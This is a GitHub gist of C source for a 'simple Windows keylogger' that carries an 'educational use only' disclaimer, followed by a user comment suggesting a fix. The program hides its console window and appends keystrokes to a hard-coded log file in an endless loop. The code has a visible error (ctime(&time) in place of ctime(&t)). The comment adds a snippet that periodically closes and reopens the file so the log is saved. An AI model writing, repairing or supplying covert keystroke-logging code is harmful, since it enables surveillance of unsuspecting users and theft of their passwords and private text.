Skip to content

Instantly share code, notes, and snippets.

@patilswapnilv
Forked from Codeplaza/gist:7331068
Created November 6, 2013 16:04
Show Gist options
  • Save patilswapnilv/7338783 to your computer and use it in GitHub Desktop.
Save patilswapnilv/7338783 to your computer and use it in GitHub Desktop.
/*
Simple WINDOWS keylogger by jkrix 2013.
User may distribute and modify source code but MUST keep this top commented section in the source code!
Very important note:
To be used for educational use and not for malicious tasks!
I will NOT be held responsible for anything silly you may do with this!
*/
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <time.h>
#define PATH "C:/Users/Administrator/Desktop/test-log.txt" // The path to the log file
int main(){
char capture;
FILE *file;
// Time stuff.
time_t t;
t = time(NULL);
// Hide the window
HWND window;
AllocConsole();
window=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(window,0);
file = fopen(PATH, "a+");
fprintf(file, "\n#$Logger: Written by jkrix. Started logging @ %s", ctime(&time));
while(1)
{
Sleep(20); // To make sure this program doesn't steal all resources.
if (kbhit())
{
capture = getch();
// Just add in some helper strings here to the file, feel free to modify these to your needs.
switch ((int)capture){
case ' ': // Space key...obviously.
fprintf(file, " ");
break;
case 0x09: // Tab key.
fprintf(file, "[TAB]");
break;
case 0x0D: // Enter key.
fprintf(file, "[ENTER]");
break;
case 0x1B: // Escape key.
fprintf(file, "[ESC]");
break;
case 0x08: // Backspace key.
fprintf(file, "[BACKSPACE]");
break;
default:
fputc(capture,file); // Put any other inputted key into the file.
}
if ( (int) capture == 27 ){ // The escape key. You can change this to anything you want.
fclose(file);
return 0;
}
}
}
}
@Ferhato
Copy link

Ferhato commented Oct 8, 2022

"Nothings being written to the file" Same here, I remade the log's Path, but it do not actually working, the log file stays empty. Can someone explain it's reason to me? Nice code, without any bug btw:)

It is simply becouse the file never gets closed, therefore saved. I fixed this by adding this lines which save it for every 100 keys pressed, the original version of this code fixed that by adding an escape sequence when [esc] is pressed which also ended the code

if (a++ > 100) { a=0; fclose(file); file = fopen("LOG2.txt", "a+"); }

But even with this addition this code sample is still useless as it only saves letters directly inputted to the console.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment